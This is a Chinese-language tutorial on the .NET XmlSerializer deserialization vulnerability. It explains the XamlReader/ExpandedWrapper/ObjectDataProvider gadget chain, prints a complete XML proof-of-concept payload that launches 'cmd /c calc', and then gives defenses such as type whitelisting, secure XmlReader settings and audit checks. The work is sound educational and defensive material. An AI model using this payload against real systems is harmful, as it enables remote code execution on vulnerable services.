漏洞分析之XmlSerializer反序列化漏洞
字数 1562 2025-08-22 18:37:22
XmlSerializer反序列化漏洞深度分析与防御指南
一、序列化与反序列化基础概念
1.1 序列化与反序列化定义
- 序列化:将对象状态转换为可保持或传输的形式(如XML、二进制、JSON等)的过程
- 反序列化:将序列化后的数据流转换回对象的过程
1.2 .NET中的序列化技术
-
二进制序列化:
- 保持类型完整性
- 适用于多次调用应用程序时保持对象状态
- 支持流、磁盘、内存和网络传输
-
XML和SOAP序列化:
- 仅序列化公共属性和字段
- 不保持类型完整性
- 适合跨平台数据共享
-
JSON序列化:
- 仅序列化公共属性
- 不保持类型完整性
- 适合Web数据交换
二、XmlSerializer工作机制
2.1 基本用法
// 序列化示例
[XmlRoot("test")]
public class TestClass {
[XmlElement]
public string id { get; set; }
}
TestClass obj = new TestClass { id = "404s" };
XmlSerializer serializer = new XmlSerializer(typeof(TestClass));
using (Stream stream = new FileStream("test.xml", FileMode.Create)) {
serializer.Serialize(stream, obj);
}
// 反序列化示例
XmlSerializer deserializer = new XmlSerializer(typeof(TestClass));
using (Stream stream = new FileStream("test.xml", FileMode.Open)) {
TestClass newObj = (TestClass)deserializer.Deserialize(stream);
}
2.2 关键特性
- 使用
[XmlRoot]指定根元素名称 - 使用
[XmlElement]标记需要序列化的属性/字段 - 支持复杂对象、集合、DataSet等的序列化
三、XmlSerializer反序列化漏洞原理
3.1 漏洞核心
当XmlSerializer构造时传入的Type参数可控,且反序列化的XML数据可控时,攻击者可构造恶意XML实现远程代码执行(RCE)。
3.2 关键攻击点
-
Type参数可控:
// 三种获取Type的方式都可能成为攻击入口 XmlSerializer xmlSerializer = new XmlSerializer(typeof(Person)); // typeof() XmlSerializer xmlSerializer1 = new XmlSerializer(p.GetType()); // GetType() XmlSerializer xmlSerializer2 = new XmlSerializer(Type.GetType("Namespace.Class")); // 字符串类型名 -
ObjectDataProvider攻击链:
ObjectDataProvider可包装和创建可用作绑定源的对象- 可调用任意方法并传入参数
四、完整攻击链分析
4.1 攻击链组成
XmlSerializer -> XamlReader -> ExpandedWrapper -> ObjectDataProvider -> Process
4.2 关键组件解析
-
ObjectDataProvider:
var objDat = new ObjectDataProvider(); objDat.ObjectInstance = new Process(); objDat.MethodParameters.Add("calc"); objDat.MethodName = "Start"; -
ExpandedWrapper:
- 用于包装不可直接序列化的类
- 扩展类的属性使其可序列化
-
XamlReader.Parse:
- 解析XAML字符串并创建对象图
- 可执行嵌入的恶意XAML代码
-
ResourceDictionary:
- WPF资源字典,使用XAML语法
- 可嵌入
ObjectDataProvider调用系统命令
4.3 典型攻击Payload
<?xml version="1.0"?>
<root type="System.Data.Services.Internal.ExpandedWrapper`2[[System.Windows.Markup.XamlReader, PresentationFramework],[System.Windows.Data.ObjectDataProvider, PresentationFramework]], System.Data.Services">
<ExpandedWrapperOfXamlReaderObjectDataProvider>
<ExpandedElement/>
<ProjectedProperty0>
<MethodName>Parse</MethodName>
<MethodParameters>
<anyType xsi:type="xsd:string">
<![CDATA[<ResourceDictionary xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:d="http://schemas.microsoft.com/winfx/2006/xaml" xmlns:b="clr-namespace:System;assembly=mscorlib" xmlns:c="clr-namespace:System.Diagnostics;assembly=system">
<ObjectDataProvider d:Key="" ObjectType="{d:Type c:Process}" MethodName="Start">
<ObjectDataProvider.MethodParameters>
<b:String>cmd</b:String>
<b:String>/c calc</b:String>
</ObjectDataProvider.MethodParameters>
</ObjectDataProvider>
</ResourceDictionary>]]>
</anyType>
</MethodParameters>
<ObjectInstance xsi:type="XamlReader"></ObjectInstance>
</ProjectedProperty0>
</ExpandedWrapperOfXamlReaderObjectDataProvider>
</root>
五、漏洞利用条件
-
必要条件:
XmlSerializer构造时的Type参数可控- 反序列化的XML数据可控
-
依赖组件:
PresentationFramework.dll(包含XamlReader等类)System.Data.Services.dll(包含ExpandedWrapper等类)
六、防御措施
6.1 输入验证
- 严格校验反序列化的XML数据来源
- 使用XML Schema验证XML结构
6.2 类型限制
- 使用白名单机制限制可反序列化的类型
- 避免直接使用用户输入构造Type参数
// 安全做法 - 使用固定类型
XmlSerializer serializer = new XmlSerializer(typeof(SafeClass));
// 不安全做法 - 类型来自用户输入
string userType = GetUserInput();
XmlSerializer unsafeSerializer = new XmlSerializer(Type.GetType(userType));
6.3 安全配置
- 禁用不必要的XML特性(如DTD、外部实体解析)
- 使用
XmlReader进行安全解析
XmlReaderSettings settings = new XmlReaderSettings {
DtdProcessing = DtdProcessing.Prohibit,
XmlResolver = null
};
using (XmlReader reader = XmlReader.Create("input.xml", settings)) {
XmlSerializer serializer = new XmlSerializer(typeof(SafeClass));
SafeClass obj = (SafeClass)serializer.Deserialize(reader);
}
6.4 代码审计要点
- 检查所有
XmlSerializer实例化点 - 确认
Type参数是否来自不可信源 - 检查XML数据输入是否经过验证
- 查找
ObjectDataProvider、XamlReader等危险类的使用
七、检测与验证
7.1 漏洞检测方法
- 代码审计查找
XmlSerializer不安全使用 - 模糊测试尝试注入恶意XML
- 监控异常日志中相关错误
7.2 安全验证示例
// 安全验证示例
public object SafeDeserialize(string xml, Type allowedType) {
// 验证类型是否在允许列表中
if (allowedType != typeof(SafeClass)) {
throw new SecurityException("Type not allowed");
}
XmlReaderSettings settings = new XmlReaderSettings {
DtdProcessing = DtdProcessing.Prohibit,
XmlResolver = null
};
using (StringReader stringReader = new StringReader(xml))
using (XmlReader xmlReader = XmlReader.Create(stringReader, settings)) {
XmlSerializer serializer = new XmlSerializer(allowedType);
return serializer.Deserialize(xmlReader);
}
}
八、总结
XmlSerializer反序列化漏洞的核心在于攻击者能够控制反序列化的类型和XML数据内容,通过构造特殊的对象链(如ObjectDataProvider + XamlReader)最终实现任意代码执行。防御此类漏洞需要:
- 严格控制
XmlSerializer的Type参数来源 - 对输入XML进行严格验证和过滤
- 使用安全的XML解析配置
- 避免反序列化不可信数据
- 定期进行代码安全审计
通过理解漏洞原理和攻击链,开发者可以更好地编写安全代码,有效防御此类反序列化攻击。